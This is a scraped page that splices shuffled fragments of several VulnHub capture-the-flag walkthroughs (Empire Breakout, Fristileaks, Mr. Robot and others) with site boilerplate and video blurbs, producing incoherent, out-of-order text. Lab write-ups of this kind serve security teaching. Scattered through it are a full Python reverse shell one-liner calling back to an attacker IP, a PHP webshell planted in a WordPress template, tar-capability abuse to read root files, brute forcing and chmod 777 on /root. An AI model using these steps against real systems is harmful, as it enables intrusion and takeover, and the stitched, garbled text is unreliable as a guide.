This completes the challenge! 1. nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.26 Nmap scan result There is only an HTTP port to enumerate. Vulnhub - Driftingblues 1 - Walkthrough - Writeup . Opening web page as port 80 is open. Thus obtained, the clear-text password is given below for your reference: We enumerated the web application to discover other vulnerabilities or hints, but nothing else was there. We got the below password . However, due to the complexity of the language and the use of only special characters, it can be used for encoding purposes. On the home directory, we can see a tar binary. Defeat the AIM forces inside the room then go down using the elevator. We read the .old_pass.bak file using the cat command. We have terminal access as user cyber as confirmed by the output of the id command. In this article, we will see walkthroughs of an interesting Vulnhub machine called Fristileaks. remote command execution << ffuf -u http://192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt >>. There could be hidden files and folders in the root directory. At the bottom left, we can see an icon for Command shell. Furthermore, this is quite a straightforward machine. To my surprise, it did resolve, and we landed on a login page. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. There are enough hints given in the above steps. Series: Fristileaks option for a full port scan in the Nmap command. So, lets start the walkthrough. We will use the FFUF tool for fuzzing the target machine. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. We need to log in first; however, we have a valid password, but we do not know any username. steganography So, we collected useful information from all the hint messages given on the target application to login into the admin panel. flag1. The capability, cap_dac_read_search allows reading any files. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. A large output has been generated by the tool. As we can see above, its only readable by the root user. By default, Nmap conducts the scan on only known 1024 ports. The IP of the victim machine is 192.168.213.136. htb However, the scan could not provide any CMC-related vulnerabilities. The VM isnt too difficult. Command used: << dirb http://192.168.1.15/ >>. As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. Running it under admin reveals the wrong user type. My goal in sharing this writeup is to show you the way if you are in trouble. pointers We added the attacker machine IP address and port number to configure the payload, which can be seen below. The password was stored in clear-text form. So, let us start the fuzzing scan, which can be seen below. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Difficulty: Medium-Hard File Information Back to the Top In the next step, we will be running Hydra for brute force. After logging into the target machine, we started information gathering about the installed operating system and kernels, which can be seen below. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. In this walkthrough I am going to go over the steps I followed to get the flags on this CTF. Below we can see we have exploited the same, and now we are root. We confirm the same on the wp-admin page by picking the username Elliot and entering the wrong password. Difficulty: Intermediate We decided to enumerate the system for known usernames. Per this message, we can run the stated binaries by placing the file runthis in /tmp. Now that we know the IP, lets start with enumeration. The string was successfully decoded without any errors. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. First, we need to identify the IP of this machine. There are other things we can also do, like chmod 777 -R /root etc to make root directly available to all. bruteforce 7. Prerequisites would be having some knowledge of Linux commands and the ability to run some basic pentesting tools. Learn More:https://www.technoscience.site/2022/05/empire-breakout-vulnhub-complete.htmlContribute to growing: https://www.buymeacoffee.com/mrdev========================================= :TimeStamp:=========================================0:00 Introduction0:34 Settings Up1:31 Enumeration 1:44 Discover and Identify weaknesses3:56 Foothold 4:18 Enum SMB 5:21 Decode the Encrypted Cipher-text 5:51 Login to the dashboard 6:21 The command shell 7:06 Create a Reverse Bash Shell8:04 Privilege Escalation 8:14 Local Privilege EscalationFind me:Instagram:https://www.instagram.com/amit_aju_/Facebook page: https://www.facebook.com/technoscinfoLinkedin: https://www.linkedin.com/in/amit-kumar-giri-52796516b/Chat with Telegram:https://t.me/technosciencesolnDisclaimer: Hacking without having permission is illegal. sshjohnsudo -l. I am using Kali Linux as an attacker machine for solving this CTF. Until then, I encourage you to try to finish this CTF! So, it is very important to conduct the full port scan during the Pentest or solve the CTF. The target machines IP address can be seen in the following screenshot. https://download.vulnhub.com/empire/02-Breakout.zip. EMPIRE: BREAKOUT Vulnhub Walkthrough In English - Pentest Diaries Home Contact Pentest Diaries Security Alive Previous Next Leave a Reply Your email address will not be published. So, let us identify other vulnerabilities in the target application which can be explored further. 2. Now, we can easily find the username from the SMB server by enumerating it using enum4linux. So now know the one username and password, and we can either try to login to the web portal or through the SSH port. Other than that, let me know if you have any ideas for what else I should stream! It is linux based machine. memory As usual, I checked the shadow file but I couldnt crack it using john the ripper. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. This gives us the shell access of the user. linux basics Therefore, were running the above file as fristi with the cracked password. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. In the next step, we will be using automated tools for this very purpose. I simply copy the public key from my .ssh/ directory to authorized_keys. We used the ls command to check the current directory contents and found our first flag. When we checked the robots.txt file, another directory was mentioned, which can be seen in the above screenshot. Note: The target machine IP address may be different in your case, as the network DHCP assigns it. Robot [updated 2019], VulnHub Machines Walkthrough Series: Brainpan Part 1, VulnHub Machines Walkthrough Series: Brainpan Part 2, VulnHub Machines Walkthrough Series: VulnOSV2, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. WordPress then reveals that the username Elliot does exist. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. os.system . Command used: < ssh i pass icex64@192.168.1.15 >>. So, let us open the file on the browser to read the contents. Following that, I passed /bin/bash as an argument. Vulnhub machines Walkthrough series Mr. command we used to scan the ports on our target machine. It is another vulnerable lab presented by vulnhub for helping pentester's to perform penetration testing according to their experience level. This step will conduct a fuzzing scan on the identified target machine. Anyways, we can see that /bin/bash gets executed under root and now the user is escalated to root. It also refers to checking another comment on the page. Please try to understand each step and take notes. You play Trinity, trying to investigate a computer on . The ping response confirmed that this is the target machine IP address. Also, it has been given that the FastTrack dictionary can be used to crack the password of the SSH key. Difficulty: Basic, Also a note for VMware users: VMware users will need to manually edit the VMs MAC address to: 08:00:27:A5:A6:76. The second step is to run a port scan to identify the open ports and services on the target machine. So at this point, we have one of the three keys and a possible dictionary file (which can again be list of usernames or passwords. In the same directory there is a cryptpass.py which I assumed to be used to encrypt both files. The scan command and results can be seen in the following screenshot. Anyway, I have tested this machine on VirtualBox and it sometimes loses the network connection. frontend So, we clicked on the hint and found the below message. I am from Azerbaijan. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. computer So, let us open the file important.jpg on the browser. Usermin is a web-based interface used to remotely manage and perform various tasks on a Linux server. Command used: << nmap 192.168.1.15 -p- -sV >>. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. So, we intercepted the request into burp to check the error and found that the website was being redirected to a different hostname. So, we need to add the given host into our, etc/hosts file to run the website into the browser. Command used: << netdiscover >> Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. So, let us try to switch the current user to kira and use the above password. By default, Nmap conducts the scan only on known 1024 ports. Navigating to eezeepz user directory, we can another notes.txt and its content are listed below. Your goal is to find all three. I have also provided a downloadable URL for this CTF here, so you can download the machine and run it on VirtualBox. As we know, the SSH default port is open on the target machine, so let us try to log in through the SSH port. We identified that these characters are used in the brainfuck programming language. The hint also talks about the best friend, the possible username. web This worked in our case, and the message is successfully decrypted. Since we cannot traverse the admin directory, lets change the permission using chmod in /home/admin like echo /home/admin/chmod -R 777 /home/admin.. We opened the case.wav file in the folder and found the below alphanumeric string. Vulnhub: Empire Breakout Walkthrough Vulnerable Machine 7s26simon 400 subscribers Subscribe 31 Share 2.4K views 1 year ago Vulnhub A walkthrough of Empire: Breakout Show more Show more. Now, we can read the file as user cyber; this is shown in the following screenshot. The login was successful as we confirmed the current user by running the id command. The root flag was found in the root directory, as seen in the above screenshot. After that, we tried to log in through SSH. In CTF challenges, whenever I see a copy of a binary, I check its capabilities and SUID permission. First, we tried to read the shadow file that stores all users passwords. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. So, we continued exploring the target machine by checking various files and folders for some hint or loophole in the system. First, we need to identify the IP of this machine. In the highlighted area of the following screenshot, we can see the. We will be using. So, we will have to do some more fuzzing to identify the SSH key. The target machines IP address can be seen in the following screenshot. I still plan on making a ton of posts but let me know if these VulnHub write-ups get repetitive. We analyzed the encoded string and did some research to find the encoding with the help of the characters used in the string. sql injection 15. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. (Remember, the goal is to find three keys.). To make sure that the files haven't been altered in any manner, you can check the checksum of the file. The identified encrypted password is given below for reference: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. Description: A small VM made for a Dutch informal hacker meetup called Fristileaks. EMPIRE BREAKOUT: VulnHub CTF walkthrough April 11, 2022 byLetsPen Test Share: We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. rest I have tried to show up this machine as much I can. After getting the version information of the installed operating system and kernel, we searched the web for an available exploit, but none could be found. Have a good days, Hello, my name is Elman. We have WordPress admin access, so let us explore the features to find any vulnerable use case. So, let us download the file on our attacker machine for analysis. Download the Mr. 3. The second step is to run a port scan to identify the open ports and services on the target machine. The walkthrough Step 1 The first step is to run the Netdiscover command to identify the target machine's IP address. Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. driftingblues It is linux based machine. Please disable the adblocker to proceed. Also, make sure to check out the walkthroughs on the harry potter series. 6. Let us get started with the challenge. Lets look out there. Hope you learned new somethings from this video.Link To Download the machine: https://www.vulnhub.com/entry/empire-breakout,751/Thank You For Watching This VideoHope you all enjoyed it.If you like this video plz give thumbs upAnd share this video with your friendsLink to my channel : https://www.youtube.com/TheSpiritManNapping CTF Walkthrough: https://www.youtube.com/watch?v=ZWYjo4QpInwHow To Install Virtual-Box in Kali Linux : https://youtu.be/51K3h_FRvDYHow To Get GPS Location Of Photo From Kali Linux : https://youtu.be/_lBOYlO_58gThank You all For watching this video. We configured the netcat tool on our attacker machine to receive incoming connections through port 1234. 10. ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. The Drib scan generated some useful results. This contains information related to the networking state of the machine*. So, let's start the walkthrough. The green highlight area shows cap_dac_read_search allows reading any files, which means we can use this utility to read any files. VulnHub: Empire: Breakout Today we will take a look at Vulnhub: Breakout. Download the Mr. So I run back to nikto to see if it can reveal more information for me. javascript I hope you enjoyed solving this refreshing CTF exercise. ssti We used the Dirb tool; it is a default utility in Kali Linux. The base 58 decoders can be seen in the following screenshot. We ran the id command to check the user information. . Goal: get root (uid 0) and read the flag file Breakout Walkthrough. 22. However, we have already identified a way to read any files, so let us use the tar utility to read the pass file. As we have access to the target machine, let us try to obtain reverse shell access by running a crafted python payload. However, it requires the passphrase to log in. We can see this is a WordPress site and has a login page enumerated. We analyzed the output, and during this process, we noticed a username which can be seen in the below screenshot. The Notebook Walkthrough - Hackthebox - Writeup Identify the target First of all, we have to identify the IP address of the target machine. Quickly looking into the source code reveals a base-64 encoded string. Below we can see that we have inserted our PHP webshell into the 404 template. Let us start enumerating the target machine by exploring the HTTP service through the default port 80. Tester(s): dqi, barrebas Then, we used the credentials to login on to the web portal, which worked, and the login was successful. If we look at the bottom of the pages source code, we see a text encrypted by the brainfuck algorithm. "Vikings - Writeup - Vulnhub - Walkthrough" Link to the machine: https://www.vulnhub.com/entry/vikings-1,741/ Please leave a comment. Now at this point, we have a username and a dictionary file. While exploring the admin dashboard, we identified a notes.txt file uploaded in the media library. shellkali. Doubletrouble 1 Walkthrough. We need to figure out the type of encoding to view the actual SSH key. We opened the target machine IP address on the browser as follows: The webpage shows an image on the browser. It is categorized as Easy level of difficulty. The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. The versions for these can be seen in the above screenshot. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. We will be using 192.168.1.23 as the attackers IP address. The difficulty level is marked as easy. By default, Nmap conducts the scan only known 1024 ports. The notes.txt file seems to be some password wordlist. sudo nmap -v -T4 -A -p- -oN nmap.log 192.168.19.130 Nmap scan result This, however, confirms that the apache service is running on the target machine. The target application can be seen in the above screenshot. The results can be seen below: Command used: << nmap 192.168.1.11 -p- -sV >>. This is an apache HTTP server project default website running through the identified folder. Name: Empire: LupinOne Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. This VM has three keys hidden in different locations. hacksudo Command used: << enum4linux -a 192.168.1.11 >>. 2. Another step I always do is to look into the directory of the logged-in user. When we opened the target machine IP address into the browser, the website could not be loaded correctly. The target machines IP address can be seen in the following screenshot. So, in the next step, we will start solving the CTF with Port 80. The usermin interface allows server access. The second step is to run a port scan to identify the open ports and services on the target machine. array data We needed to copy-paste the encoded string as input, and the tool processed the string to decode the message. 21. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. I simply copy the public key from my .ssh/ directory to authorized_keys. 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